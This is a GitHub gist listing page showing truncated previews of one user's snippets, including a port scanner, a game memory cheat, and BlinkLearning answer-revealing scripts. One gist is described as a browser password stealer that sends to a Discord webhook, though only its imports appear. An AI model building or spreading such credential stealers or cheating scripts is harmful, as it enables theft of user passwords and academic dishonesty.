Skip to content

Instantly share code, notes, and snippets.

@Auax
Auax / vector.py
Created May 1, 2021 21:54
Codewars Vector Class (Exercice)
# The code could be resolved with a "combine" function but I'm lazy to change it.
from math import sqrt
class Vector:
"""
Vector main class
"""
def __init__(self, vector:list):
@Auax
Auax / window_finder.py
Last active June 7, 2021 20:56
Get all window names from Windows 10 and path to executable
import sys
import win32gui
import win32api
import win32process
import win32con
import os
if not os.name == "nt":
print("Only available in Windows.")
sys.exit(-1)
@Auax
Auax / Spotify Music Predictor.ipynb
Created June 19, 2021 10:28
Predict a Spotify song genre
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
@Auax
Auax / blinklearning_hack.js
Last active February 24, 2024 19:14
Paste this into a new Tampermonkey script and press ALT + I to get the answers.
// ==UserScript==
// @name BlinkLearning Solver by Auax
// @namespace http://tampermonkey.net/
// @version 0.2
// @description Simple cheat for BlinkLearning!
// @author Auax
// @match www.blinklearning.com:/*
// @icon https://www.google.com/s2/favicons?domain=blinklearning.com
// @grant none
// ==/UserScript==
@Auax
Auax / FileFinder.cpp
Last active October 9, 2021 21:53
File finder sample C++ code by Auax.
#include <iostream>
#include <string>
#include <chrono>
#include <filesystem>
#include <stdlib.h>
// set filesystem namespace
namespace fs = std::filesystem;
std::string getOsName()
@Auax
Auax / assault_cube_memory.go
Created January 22, 2022 00:40
Change Assault Cube's rifle ammo using this simple external script. Although this is a simple demonstration, it can be freely used.
// ASSAULT CUBE Go external cheat.
// The objective of this script is to show how to perform operations such as writing / reading the memory of a process.
// With this script, you can change the rifle ammo inside the game.
// You can set the ammo's value, ammo's address offset, and more inside the main() function.
// Note: The window must be windowed for this to work.
// BY AUAX 2006
package main
import (
@Auax
Auax / steal_passwords.py
Created January 22, 2022 00:48
Steal Chrome, Opera, and Brave passwords in Windows, macOS, and Linux systems. Send the passwords to a Discord webhook by setting the URL in line 14. Educational purposes only.
import getpass
import logging
import os
import platform
import sys
from os.path import join
import requests.exceptions
from discord_webhook import DiscordWebhook
from passax.chrome import browsers
@Auax
Auax / portscanner.py
Created February 23, 2022 21:47
Scan ports with Python
import socket
import sys
import threading
import colorama
import tqdm
open_ports = []
ip = "192.168.1.1" # Type here the IP you want to scan. I will use 192.168.1.1 as an example
@Auax
Auax / blinklearning-hack-searchbar-version.js
Last active October 29, 2025 09:04
Blinklearning hack for browsers with neither the console enabled nor extensions.
/* Weird code to access the iframe and its variables as this code
is intended to run in the 'javascript:' context in the search bar.
Used in Chromebook with both dev console and extensions blocked :) */
function run_() {
/* Get iframe's document and window (to access the variables of its context) */
const iframe_ = document.getElementById("class_iframe");
const iWindow = iframe_.contentWindow;
const iDocument = iWindow.document;
/* Get all correction buttons */
let els = iDocument.querySelectorAll(".js-correct, .js-save");
@Auax
Auax / AsyncRequests.py
Created April 24, 2022 19:27
Base File to send AIOHTTP Asynchronus requests using Python 3
import asyncio
import json
import time
from pystyle import Colors, Colorate
from typing import Dict, Any, List, Tuple
from aiohttp import ClientSession
from yarl import URL